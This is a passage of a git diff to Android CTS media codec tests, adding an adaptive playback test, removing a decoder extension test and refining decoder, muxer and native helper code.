-                    ALOGD("Mime: %s  TrackID exp/got %zd / %d : ", refMime, testTrackID,
-                          trackIndex);
+                    ALOGD("Mime: %s  TrackID exp/got %zd / %d : ", mime, testTrackID, trackIndex);
                     areTracksIdentical = false;
                     break;
                 }
                 if (memcmp(refBuffer, testBuffer, refSz)) {
-                    ALOGD("Mime: %s Mismatch in sample data", refMime);
+                    ALOGD("Mime: %s Mismatch in sample data", mime);
                     areTracksIdentical = false;
                     break;
                 }
                 bool haveRefSamples = AMediaExtractor_advance(refExtractor);
                 bool haveTestSamples = AMediaExtractor_advance(testExtractor);
                 if (haveRefSamples != haveTestSamples) {
-                    ALOGD("Mime: %s Mismatch in sampleCount", refMime);
+                    ALOGD("Mime: %s Mismatch in sampleCount", mime);
                     areTracksIdentical = false;
                     break;
                 }
 
                 if (!haveRefSamples && !isExtractorOKonEOS(refExtractor)) {
-                    ALOGD("Mime: %s calls post advance() are not OK", refMime);
+                    ALOGD("Mime: %s calls post advance() are not OK", mime);
                     areTracksIdentical = false;
                     break;
                 }
                 if (!haveTestSamples && !isExtractorOKonEOS(testExtractor)) {
-                    ALOGD("Mime: %s calls post advance() are not OK", refMime);
+                    ALOGD("Mime: %s calls post advance() are not OK", mime);
                     areTracksIdentical = false;
                     break;
                 }
-                ALOGV("Mime: %s Sample: %d flags: %d size: %d ts: % " PRId64 "", refMime,
+                ALOGV("Mime: %s Sample: %d flags: %d size: %d ts: % " PRId64 "", mime,
                       frameCount, refSampleInfo.flags, refSampleInfo.size,
                       refSampleInfo.presentationTimeUs);
                 if (!haveRefSamples || frameCount >= sampleLimit) {
@@ -423,6 +421,7 @@
         const char* currMime = nullptr;
         bool hasKey = AMediaFormat_getString(format, AMEDIAFORMAT_KEY_MIME, &currMime);
         if (!hasKey || strcmp(currMime, mime) != 0) {
+            AMediaFormat_delete(format);
             continue;
         }
         AMediaExtractor_selectTrack(extractor, trackID);
diff --git a/tests/media/jni/NativeMediaCommon.cpp b/tests/media/jni/NativeMediaCommon.cpp
index 8cccbc0..6d87084 100644
--- a/tests/media/jni/NativeMediaCommon.cpp
+++ b/tests/media/jni/NativeMediaCommon.cpp
@@ -46,9 +46,11 @@
 const char* TBD_AMEDIACODEC_PARAMETER_KEY_MAX_B_FRAMES = "max-bframes";
 const char* TBD_AMEDIAFORMAT_KEY_BIT_RATE_MODE = "bitrate-mode";
 
+// NDK counterpart of Q_DEQ_TIMEOUT_US and RETRY_LIMIT of CodecTestBase class
+const long kQDeQTimeOutUs = 5000; // block at most 5ms while looking for io buffers
+const int kRetryLimit = 100; // max poll counter before test aborts and returns error
+
 bool isCSDIdentical(AMediaFormat* refFormat, AMediaFormat* testFormat) {
-    const char* mime;
-    AMediaFormat_getString(refFormat, AMEDIAFORMAT_KEY_MIME, &mime);
     for (int i = 0;; i++) {
         std::pair<void*, size_t> refCsd;
         std::pair<void*, size_t> testCsd;
diff --git a/tests/media/jni/NativeMediaCommon.h b/tests/media/jni/NativeMediaCommon.h
index b74eb17..9db5af0 100644
--- a/tests/media/jni/NativeMediaCommon.h
+++ b/tests/media/jni/NativeMediaCommon.h
@@ -35,6 +35,9 @@
 extern const char* AMEDIA_MIMETYPE_AUDIO_VORBIS;
 extern const char* AMEDIA_MIMETYPE_AUDIO_OPUS;
 
+extern const long kQDeQTimeOutUs;
+extern const int kRetryLimit;
+
 // TODO(b/146420990)
 typedef enum {
     OUTPUT_FORMAT_START = 0,
diff --git a/tests/media/jni/NativeMuxerTest.cpp b/tests/media/jni/NativeMuxerTest.cpp
index cea162c7..b9eae64 100644
--- a/tests/media/jni/NativeMuxerTest.cpp
+++ b/tests/media/jni/NativeMuxerTest.cpp
@@ -271,6 +271,8 @@
         AMediaFormat* thisFormat = mFormat[i];
         const char* thisMime = nullptr;
         AMediaFormat_getString(thisFormat, AMEDIAFORMAT_KEY_MIME, &thisMime);
+        int tolerance = !strncmp(thisMime, "video/", strlen("video/")) ? STTS_TOLERANCE_US : 0;
+        tolerance += 1; // rounding error
         int j = 0;
         for (; j < that->mTrackCount; j++) {
             AMediaFormat* thatFormat = that->mFormat[j];
@@ -279,9 +281,6 @@
             if (thisMime != nullptr && thatMime != nullptr && !strcmp(thisMime, thatMime)) {
                 if (!isFormatSimilar(thisFormat, thatFormat)) continue;
                 if (mBufferInfo[i].size() == that->mBufferInfo[j].size()) {
-                    int tolerance =
-                            !strncmp(thisMime, "video/", strlen("video/")) ? STTS_TOLERANCE_US : 0;
-                    tolerance += 1; // rounding error
                     int k = 0;
                     for (; k < mBufferInfo[i].size(); k++) {
                         AMediaCodecBufferInfo* thisInfo = mBufferInfo[i][k];
@@ -305,6 +304,7 @@
             }
         }
         if (j == that->mTrackCount) {
+            AMediaFormat_getString(thisFormat, AMEDIAFORMAT_KEY_MIME, &thisMime);
             ALOGV("For mime %s, Couldn't find a match", thisMime);
             return false;
         }
diff --git a/tests/media/src/android/mediav2/cts/AdaptivePlaybackTest.java b/tests/media/src/android/mediav2/cts/AdaptivePlaybackTest.java
new file mode 100644
index 0000000..f95fa54
--- /dev/null
+++ b/tests/media/src/android/mediav2/cts/AdaptivePlaybackTest.java
@@ -0,0 +1,226 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediav2.cts;
+
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.io.File;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
+
+import static org.junit.Assert.fail;
+
+@RunWith(Parameterized.class)
+public class AdaptivePlaybackTest extends CodecDecoderTestBase {
+    private final String mMime;
+    private final String[] mSrcFiles;
+    private final int mSupport;
+
+    private long mMaxPts = 0;
+
+    public AdaptivePlaybackTest(String mime, String[] srcFiles, int support) {
+        super(mime, null);
+        mMime = mime;
+        mSrcFiles = srcFiles;
+        mSupport = support;
+    }
+
+    @Rule
+    public ActivityTestRule<CodecTestActivity> mActivityRule =
+            new ActivityTestRule<>(CodecTestActivity.class);
+
+    @Parameterized.Parameters(name = "{index}({0})")
+    public static Collection<Object[]> input() {
+        final boolean isEncoder = false;
+        final boolean needAudio = false;
+        final boolean needVideo = true;
+        // mime, array list of test files we'll play, codec should support adaptive feature
+        final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
+                {MediaFormat.MIMETYPE_VIDEO_AVC, new String[]{
+                        "bbb_800x640_768kbps_30fps_avc_2b.mp4",
+                        "bbb_800x640_768kbps_30fps_avc_nob.mp4",
+                        "bbb_1280x720_1mbps_30fps_avc_2b.mp4",
+                        "bbb_640x360_512kbps_30fps_avc_nob.mp4",
+                        "bbb_1280x720_1mbps_30fps_avc_nob.mp4",
+                        "bbb_640x360_512kbps_30fps_avc_2b.mp4",
+                        "bbb_1280x720_1mbps_30fps_avc_nob.mp4",
+                        "bbb_640x360_512kbps_30fps_avc_nob.mp4",
+                        "bbb_640x360_512kbps_30fps_avc_2b.mp4"}, CODEC_ALL},
+                {MediaFormat.MIMETYPE_VIDEO_HEVC, new String[]{
+                        "bbb_800x640_768kbps_30fps_hevc_2b.mp4",
+                        "bbb_800x640_768kbps_30fps_hevc_nob.mp4",
+                        "bbb_1280x720_1mbps_30fps_hevc_2b.mp4",
+                        "bbb_640x360_512kbps_30fps_hevc_nob.mp4",
+                        "bbb_1280x720_1mbps_30fps_hevc_nob.mp4",
+                        "bbb_640x360_512kbps_30fps_hevc_2b.mp4",
+                        "bbb_1280x720_1mbps_30fps_hevc_nob.mp4",
+                        "bbb_640x360_512kbps_30fps_hevc_nob.mp4",
+                        "bbb_640x360_512kbps_30fps_hevc_2b.mp4"}, CODEC_ALL},
+                {MediaFormat.MIMETYPE_VIDEO_VP8, new String[]{
+                        "bbb_800x640_768kbps_30fps_vp8.webm",
+                        "bbb_1280x720_1mbps_30fps_vp8.webm",
+                        "bbb_640x360_512kbps_30fps_vp8.webm"}, CODEC_ALL},
+                {MediaFormat.MIMETYPE_VIDEO_VP9, new String[]{
+                        "bbb_800x640_768kbps_30fps_vp9.webm",
+                        "bbb_1280x720_1mbps_30fps_vp9.webm",
+                        "bbb_640x360_512kbps_30fps_vp9.webm"}, CODEC_ALL},
+                {MediaFormat.MIMETYPE_VIDEO_MPEG4, new String[]{
+                        "bbb_128x96_64kbps_12fps_mpeg4.mp4",
+                        "bbb_176x144_192kbps_15fps_mpeg4.mp4",
+                        "bbb_128x96_64kbps_12fps_mpeg4.mp4"}, CODEC_ALL},
+                {MediaFormat.MIMETYPE_VIDEO_AV1, new String[]{
+                        "bbb_800x640_768kbps_30fps_av1.webm",
+                        "bbb_1280x720_1mbps_30fps_av1.webm",
+                        "bbb_640x360_512kbps_30fps_av1.webm"}, CODEC_ALL},
+                {MediaFormat.MIMETYPE_VIDEO_MPEG2, new String[]{
+                        "bbb_800x640_768kbps_30fps_mpeg2_2b.mp4",
+                        "bbb_800x640_768kbps_30fps_mpeg2_nob.mp4",
+                        "bbb_1280x720_1mbps_30fps_mpeg2_2b.mp4",
+                        "bbb_640x360_512kbps_30fps_mpeg2_nob.mp4",
+                        "bbb_1280x720_1mbps_30fps_mpeg2_nob.mp4",
+                        "bbb_640x360_512kbps_30fps_mpeg2_2b.mp4",
+                        "bbb_1280x720_1mbps_30fps_mpeg2_nob.mp4",
+                        "bbb_640x360_512kbps_30fps_mpeg2_nob.mp4",
+                        "bbb_640x360_512kbps_30fps_mpeg2_2b.mp4"}, CODEC_ALL},
+        });
+        return prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo, false);
+    }
+
+    @Override
+    void dequeueOutput(int bufferIndex, MediaCodec.BufferInfo info) {
+        if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+            mSawOutputEOS = true;
+        }
+        if (info.size > 0 && (info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) {
+            mOutputBuff.saveOutPTS(info.presentationTimeUs);
+            mOutputCount++;
+        }
+        mCodec.releaseOutputBuffer(bufferIndex, mSurface != null);
+    }
+
+    private MediaFormat createInputList(MediaFormat format, ByteBuffer buffer,
+            ArrayList<MediaCodec.BufferInfo> list, int offset, long ptsOffset) {
+        if (hasCSD(format)) {
+            MediaCodec.BufferInfo bufferInfo = new MediaCodec.BufferInfo();
+            bufferInfo.offset = offset;
+            bufferInfo.size = 0;
+            bufferInfo.presentationTimeUs = 0;
+            bufferInfo.flags = MediaCodec.BUFFER_FLAG_CODEC_CONFIG;
+            for (int i = 0; ; i++) {
+                String csdKey = "csd-" + i;
+                if (format.containsKey(csdKey)) {
+                    ByteBuffer csdBuffer = format.getByteBuffer(csdKey);
+                    bufferInfo.size += csdBuffer.limit();
+                    buffer.put(csdBuffer);
+                    format.removeKey(csdKey);
+                } else break;
+            }
+            list.add(bufferInfo);
+            offset += bufferInfo.size;
+        }
+        while (true) {
+            MediaCodec.BufferInfo bufferInfo = new MediaCodec.BufferInfo();
+            bufferInfo.size = mExtractor.readSampleData(buffer, offset);
+            if (bufferInfo.size < 0) break;
+            bufferInfo.offset = offset;
+            bufferInfo.presentationTimeUs = ptsOffset + mExtractor.getSampleTime();
+            mMaxPts = Math.max(mMaxPts, bufferInfo.presentationTimeUs);
+            int flags = mExtractor.getSampleFlags();
+            bufferInfo.flags = 0;
+            if ((flags & MediaExtractor.SAMPLE_FLAG_SYNC) != 0) {
+                bufferInfo.flags |= MediaCodec.BUFFER_FLAG_KEY_FRAME;
+            }
+            list.add(bufferInfo);
+            mExtractor.advance();
+            offset += bufferInfo.size;
+        }
+        buffer.clear();
+        buffer.position(offset);
+        return format;
+    }
+
+    @LargeTest
+    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    public void testAdaptivePlayback() throws IOException, InterruptedException {
+        CodecTestActivity activity = mActivityRule.getActivity();
+        setUpSurface(activity);
+        ArrayList<MediaFormat> formats = new ArrayList<>();
+        if (mSupport != CODEC_ALL) {
+            formats = new ArrayList<>();
+            for (String file : mSrcFiles) {
+                formats.add(setUpSource(file));
+                mExtractor.release();
+            }
+        }
+        ArrayList<String> listOfDecoders = selectCodecs(mMime, formats,
+                new String[]{MediaCodecInfo.CodecCapabilities.FEATURE_AdaptivePlayback}, false);
+        if (listOfDecoders.isEmpty()) {
+            tearDownSurface();
+            if (mSupport == CODEC_OPTIONAL) return;
+            else fail("no suitable codecs found for mime: " + mMime);
+        }
+        formats.clear();
+        int totalSize = 0;
+        for (String srcFile : mSrcFiles) {
+            File file = new File(mInpPrefix + srcFile);
+            totalSize += (int) file.length();
+        }
+        totalSize <<= 1;
+        long ptsOffset = 0;
+        int buffOffset = 0;
+        ArrayList<MediaCodec.BufferInfo> list = new ArrayList<>();
+        ByteBuffer buffer = ByteBuffer.allocate(totalSize);
+        for (String file : mSrcFiles) {
+            formats.add(createInputList(setUpSource(file), buffer, list, buffOffset, ptsOffset));
+            mExtractor.release();
+            ptsOffset = mMaxPts + 1000000L;
+            buffOffset = (list.get(list.size() - 1).offset) + (list.get(list.size() - 1).size);
+        }
+        boolean[] boolStates = {false, true};
+        mOutputBuff = new OutputManager();
+        for (String decoder : listOfDecoders) {
+            mCodec = MediaCodec.createByCodecName(decoder);
+            MediaFormat format = formats.get(0);
+            activity.setScreenParams(getWidth(format), getHeight(format), true);
+            for (boolean isAsync : boolStates) {
+                mOutputBuff.reset();
+                configureCodec(format, isAsync, false, false);
+                mCodec.start();
+                doWork(buffer, list);
+                queueEOS();
+                waitForAllOutputs();
+                mCodec.reset();
+            }
+        }
+        tearDownSurface();
+    }
+}
diff --git a/tests/media/src/android/mediav2/cts/CodecDecoderExtTest.java b/tests/media/src/android/mediav2/cts/CodecDecoderExtTest.java
deleted file mode 100644
index 0f7fe55..0000000
--- a/tests/media/src/android/mediav2/cts/CodecDecoderExtTest.java
+++ /dev/null
@@ -1,106 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.mediav2.cts;
-
-import android.media.MediaExtractor;
-import android.media.MediaFormat;
-
-import androidx.test.filters.LargeTest;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collection;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Set;
-
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-@RunWith(Parameterized.class)
-public class CodecDecoderExtTest extends CodecDecoderTestBase {
-    private static final String LOG_TAG = CodecDecoderExtTest.class.getSimpleName();
-
-    private final String mRefFile;
-
-    public CodecDecoderExtTest(String mime, String testFile, String refFile) {
-        super(mime, testFile);
-        mRefFile = refFile;
-    }
-
-    @Parameterized.Parameters(name = "{index}({0})")
-    public static Collection<Object[]> input() {
-        final boolean isEncoder = false;
-        final boolean needAudio = false;
-        final boolean needVideo = true;
-        final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
-                {MediaFormat.MIMETYPE_VIDEO_VP9,
-                        //show and no-show frames are sent as separate inputs
-                        "bbb_340x280_768kbps_30fps_split_non_display_frame_vp9.webm",
-                        //show and no-show frames are sent as one input
-                        "bbb_340x280_768kbps_30fps_vp9.webm"},
-                {MediaFormat.MIMETYPE_VIDEO_VP9,
-                        //show and no-show frames are sent as separate inputs
-                        "bbb_520x390_1mbps_30fps_split_non_display_frame_vp9.webm",
-                        //show and no-show frames are sent as one input
-                        "bbb_520x390_1mbps_30fps_vp9.webm"},
-                {MediaFormat.MIMETYPE_VIDEO_MPEG2,
-                        //show and no-show frames are sent as separate inputs
-                        "bbb_512x288_30fps_1mbps_mpeg2_interlaced_nob_1field.ts",
-                        //show and no-show frames are sent as one input
-                        "bbb_512x288_30fps_1mbps_mpeg2_interlaced_nob_2fields.mp4"},
-        });
-        return prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo, false);
-    }
-
-    /**
-     * Test decodes and compares decoded output of two files.
-     */
-    @LargeTest
-    @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
-    public void testDecodeAndValidate() throws IOException, InterruptedException {
-        ArrayList<String> listOfDecoders = selectCodecs(mMime, null, null, false);
-        if (listOfDecoders.isEmpty()) {
-            fail("no suitable codecs found for mime: " + mMime);
-        }
-        final int mode = MediaExtractor.SEEK_TO_CLOSEST_SYNC;
-        for (String decoder : listOfDecoders) {
-            decodeToMemory(mTestFile, decoder, 0, mode, Integer.MAX_VALUE);
-            OutputManager test = mOutputBuff;
-            String log = String.format("codec: %s, test file: %s, ref file: %s:: ", decoder,
-                    mTestFile, mRefFile);
-            assertTrue(log + " unexpected error", !mAsyncHandle.hasSeenError());
-            assertTrue(log + "no input sent", 0 != mInputCount);
-            assertTrue(log + "output received", 0 != mOutputCount);
-            if (mIsAudio) {
-                assertTrue("reference output pts is not strictly increasing",
-                        test.isPtsStrictlyIncreasing(mPrevOutputPts));
-            } else {
-                assertTrue("input pts list and output pts list are not identical",
-                        test.isOutPtsListIdenticalToInpPtsList(false));
-            }
-            decodeToMemory(mRefFile, decoder, 0, mode, Integer.MAX_VALUE);
-            OutputManager ref = mOutputBuff;
-            assertTrue(log + "decoder outputs are not identical", ref.equals(test));
-        }
-    }
-}
diff --git a/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java b/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
index 75656e9..ad212ff 100644
--- a/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
@@ -296,7 +296,6 @@
      * Tests reconfigure when codec is in sync and async mode with surface. In these scenarios,
      * Timestamp and the ordering is verified.
      */
-    @Ignore("TODO(b/148523403)")
     @LargeTest
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testReconfigure() throws IOException, InterruptedException {
diff --git a/tests/media/src/android/mediav2/cts/CodecDecoderTest.java b/tests/media/src/android/mediav2/cts/CodecDecoderTest.java
index 44561f3..8ba5428 100644
--- a/tests/media/src/android/mediav2/cts/CodecDecoderTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecDecoderTest.java
@@ -134,14 +134,8 @@
         final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
                 {MediaFormat.MIMETYPE_AUDIO_MPEG, "bbb_1ch_8kHz_lame_cbr.mp3",
                         "bbb_1ch_8kHz_s16le.raw", "bbb_2ch_44kHz_lame_vbr.mp3", 91.022f, -1L},
-                {MediaFormat.MIMETYPE_AUDIO_MPEG, "bbb_1ch_16kHz_lame_vbr.mp3",
-                        "bbb_1ch_16kHz_s16le.raw", "bbb_2ch_44kHz_lame_vbr.mp3", 119.256f, -1L},
                 {MediaFormat.MIMETYPE_AUDIO_MPEG, "bbb_2ch_44kHz_lame_cbr.mp3",
                         "bbb_2ch_44kHz_s16le.raw", "bbb_1ch_16kHz_lame_vbr.mp3", 103.60f, -1L},
-                {MediaFormat.MIMETYPE_AUDIO_MPEG, "bbb_2ch_44kHz_lame_vbr.mp3",
-                        "bbb_2ch_44kHz_s16le.raw", "bbb_1ch_8kHz_lame_cbr.mp3", 53.066f, -1L},
-                {MediaFormat.MIMETYPE_AUDIO_MPEG, "bbb_2ch_44kHz_lame_crc.mp3",
-                        "bbb_2ch_44kHz_s16le.raw", "bbb_1ch_16kHz_lame_vbr.mp3", 104.09f, -1L},
                 {MediaFormat.MIMETYPE_AUDIO_AMR_WB, "bbb_1ch_16kHz_16kbps_amrwb.3gp",
                         "bbb_1ch_16kHz_s16le.raw", "bbb_1ch_16kHz_23kbps_amrwb.3gp", 2393.598f,
                         -1L},
@@ -169,22 +163,10 @@
                         "bbb_1ch_16kHz_s16le.raw", "bbb_2ch_44kHz_aac.mp4", -1.0f, -1L},
                 {MediaFormat.MIMETYPE_VIDEO_MPEG2, "bbb_340x280_768kbps_30fps_mpeg2.mp4", null,
                         "bbb_520x390_1mbps_30fps_mpeg2.mp4", -1.0f, -1L},
-                {MediaFormat.MIMETYPE_VIDEO_MPEG2,
-                        "bbb_512x288_30fps_1mbps_mpeg2_interlaced_nob_2fields.mp4", null,
-                        "bbb_520x390_1mbps_30fps_mpeg2.mp4", -1.0f, -1L},
-                {MediaFormat.MIMETYPE_VIDEO_MPEG2,
-                        "bbb_512x288_30fps_1mbps_mpeg2_interlaced_nob_1field.ts", null,
-                        "bbb_520x390_1mbps_30fps_mpeg2.mp4", -1.0f, -1L},
                 {MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_340x280_768kbps_30fps_avc.mp4", null,
                         "bbb_520x390_1mbps_30fps_avc.mp4", -1.0f, 1746312400L},
-                /* TODO(b/163299340) */
-//                {MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_504x224_768kbps_30fps_avc.mp4", null,
-//                        "bbb_520x390_1mbps_30fps_avc.mp4", -1.0f, 4060874918L},
                 {MediaFormat.MIMETYPE_VIDEO_HEVC, "bbb_520x390_1mbps_30fps_hevc.mp4", null,
                         "bbb_340x280_768kbps_30fps_hevc.mp4", -1.0f, 3061322606L},
-                /* TODO(b/163299340) */
-//                {MediaFormat.MIMETYPE_VIDEO_HEVC, "bbb_560x280_1mbps_30fps_hevc.mkv", null,
-//                        "bbb_340x280_768kbps_30fps_hevc.mp4", -1.0f, 26298353L},
                 {MediaFormat.MIMETYPE_VIDEO_MPEG4, "bbb_128x96_64kbps_12fps_mpeg4.mp4",
                         null, "bbb_176x144_192kbps_15fps_mpeg4.mp4", -1.0f, -1L},
                 {MediaFormat.MIMETYPE_VIDEO_H263, "bbb_176x144_128kbps_15fps_h263.3gp",
@@ -193,10 +175,6 @@
                         "bbb_520x390_1mbps_30fps_vp8.webm", -1.0f, 2030620796L},
                 {MediaFormat.MIMETYPE_VIDEO_VP9, "bbb_340x280_768kbps_30fps_vp9.webm", null,
                         "bbb_520x390_1mbps_30fps_vp9.webm", -1.0f, 4122701060L},
-                {MediaFormat.MIMETYPE_VIDEO_VP9,
-                        "bbb_340x280_768kbps_30fps_split_non_display_frame_vp9.webm", null,
-                        "bbb_520x390_1mbps_30fps_split_non_display_frame_vp9.webm", -1.0f,
-                        4122701060L},
                 {MediaFormat.MIMETYPE_VIDEO_AV1, "bbb_340x280_768kbps_30fps_av1.mp4", null,
                         "bbb_520x390_1mbps_30fps_av1.mp4", -1.0f, 400672933L},
         });
@@ -206,6 +184,20 @@
     private native boolean nativeTestSimpleDecode(String decoder, Surface surface, String mime,
             String testFile, String refFile, float rmsError, long checksum);
 
+    private void verify() throws IOException {
+        if (mRmsError >= 0) {
+            assertTrue(mRefFile != null);
+            short[] refData = setUpAudioReference();
+            float currError = mOutputBuff.getRmsError(refData);
+            float errMargin = mRmsError * RMS_ERROR_TOLERANCE;
+            assertTrue(String.format("%s rms error too high exp/got %f/%f", mTestFile,
+                    errMargin, currError), currError <= errMargin);
+        } else if (mRefCRC >= 0) {
+            assertEquals(String.format("%s checksum mismatch", mTestFile), mRefCRC,
+                    mOutputBuff.getCheckSumImage());
+        }
+    }
+
     /**
      * Tests decoder for combinations:
      * 1. Codec Sync Mode, Signal Eos with Last frame
@@ -289,19 +281,7 @@
                 }
             }
             mCodec.release();
-            if (mSaveToMem) {
-                if (mRmsError >= 0) {
-                    assertTrue(mRefFile != null);
-                    short[] refData = setUpAudioReference();
-                    float currError = ref.getRmsError(refData);
-                    float errMargin = mRmsError * RMS_ERROR_TOLERANCE;
-                    assertTrue(String.format("%s rms error too high exp/got %f/%f", mTestFile,
-                            errMargin, currError), currError <= errMargin);
-                } else if (mRefCRC >= 0) {
-                    assertEquals(String.format("%s checksum mismatch", mTestFile), mRefCRC,
-                            ref.getCheckSumImage());
-                }
-            }
+            if (mSaveToMem) verify();
             assertTrue(nativeTestSimpleDecode(decoder, null, mMime, mInpPrefix + mTestFile,
                     mInpPrefix + mRefFile, mRmsError * RMS_ERROR_TOLERANCE,
                     ref.getCheckSumBuffer()));
@@ -446,7 +426,6 @@
      * Tests reconfigure when codec is in sync and async mode. In these scenarios, Timestamp
      * ordering is verified. The output has to be consistent (not flaky) in all runs
      */
-    @Ignore("TODO(b/148523403)")
     @LargeTest
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testReconfigure() throws IOException, InterruptedException {
@@ -458,14 +437,15 @@
         if (listOfDecoders.isEmpty()) {
             fail("no suitable codecs found for mime: " + mMime);
         }
-        final long pts = 500000;
+        final long startTs = 0;
+        final long seekTs = 500000;
         final int mode = MediaExtractor.SEEK_TO_CLOSEST_SYNC;
         boolean[] boolStates = {true, false};
         OutputManager test = new OutputManager();
         for (String decoder : listOfDecoders) {
-            decodeToMemory(mTestFile, decoder, pts, mode, Integer.MAX_VALUE);
+            decodeToMemory(mTestFile, decoder, startTs, mode, Integer.MAX_VALUE);
             OutputManager ref = mOutputBuff;
-            decodeToMemory(mReconfigFile, decoder, pts, mode, Integer.MAX_VALUE);
+            decodeToMemory(mReconfigFile, decoder, seekTs, mode, Integer.MAX_VALUE);
             OutputManager configRef = mOutputBuff;
             if (mIsAudio) {
                 assertTrue("reference output pts is not strictly increasing",
@@ -484,7 +464,7 @@
                 setUpSource(mTestFile);
                 String log = String.format("decoder: %s, input file: %s, mode: %s:: ", decoder,
                         mTestFile, (isAsync ? "async" : "sync"));
-                mExtractor.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
+                mExtractor.seekTo(startTs, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
                 configureCodec(format, isAsync, true, false);
                 MediaFormat defFormat = mCodec.getOutputFormat();
                 boolean validateFormat = true;
@@ -522,10 +502,11 @@
                 mCodec.start();
                 mSaveToMem = true;
                 test.reset();
-                mExtractor.seekTo(pts, mode);
+                mExtractor.seekTo(startTs, mode);
                 doWork(Integer.MAX_VALUE);
                 queueEOS();
                 waitForAllOutputs();
+                if (mSaveToMem) verify();
                 /* TODO(b/147348711) */
                 if (false) mCodec.stop();
                 else mCodec.reset();
@@ -547,10 +528,11 @@
                 reConfigureCodec(format, !isAsync, false, false);
                 mCodec.start();
                 test.reset();
-                mExtractor.seekTo(pts, mode);
+                mExtractor.seekTo(startTs, mode);
                 doWork(Integer.MAX_VALUE);
                 queueEOS();
                 waitForAllOutputs();
+                if (mSaveToMem) verify();
                 /* TODO(b/147348711) */
                 if (false) mCodec.stop();
                 else mCodec.reset();
@@ -582,7 +564,7 @@
                 }
                 mCodec.start();
                 test.reset();
-                mExtractor.seekTo(pts, mode);
+                mExtractor.seekTo(seekTs, mode);
                 doWork(Integer.MAX_VALUE);
                 queueEOS();
                 waitForAllOutputs();
@@ -680,7 +662,10 @@
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testSimpleDecodeQueueCSD() throws IOException, InterruptedException {
         MediaFormat format = setUpSource(mTestFile);
-        Assume.assumeTrue("Format has no CSD, ignoring test for mime:" + mMime, hasCSD(format));
+        if (!hasCSD(format)) {
+            mExtractor.release();
+            return;
+        }
         ArrayList<MediaFormat> formats = new ArrayList<>();
         formats.add(format);
         formats.add(new MediaFormat(format));
@@ -770,7 +755,10 @@
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testSimpleDecodeQueueCSDNative() throws IOException {
         MediaFormat format = setUpSource(mTestFile);
-        Assume.assumeTrue("Format has no CSD, ignoring test for mime:" + mMime, hasCSD(format));
+        if (!hasCSD(format)) {
+            mExtractor.release();
+            return;
+        }
         ArrayList<String> listOfDecoders = selectCodecs(mMime, null, null, false);
         if (listOfDecoders.isEmpty()) {
             fail("no suitable codecs found for mime: " + mMime);
diff --git a/tests/media/src/android/mediav2/cts/CodecDecoderValidationTest.java b/tests/media/src/android/mediav2/cts/CodecDecoderValidationTest.java
new file mode 100644
index 0000000..42fad3c
--- /dev/null
+++ b/tests/media/src/android/mediav2/cts/CodecDecoderValidationTest.java
@@ -0,0 +1,205 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediav2.cts;
+
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+
+import androidx.test.filters.LargeTest;
+
+import org.junit.Test;
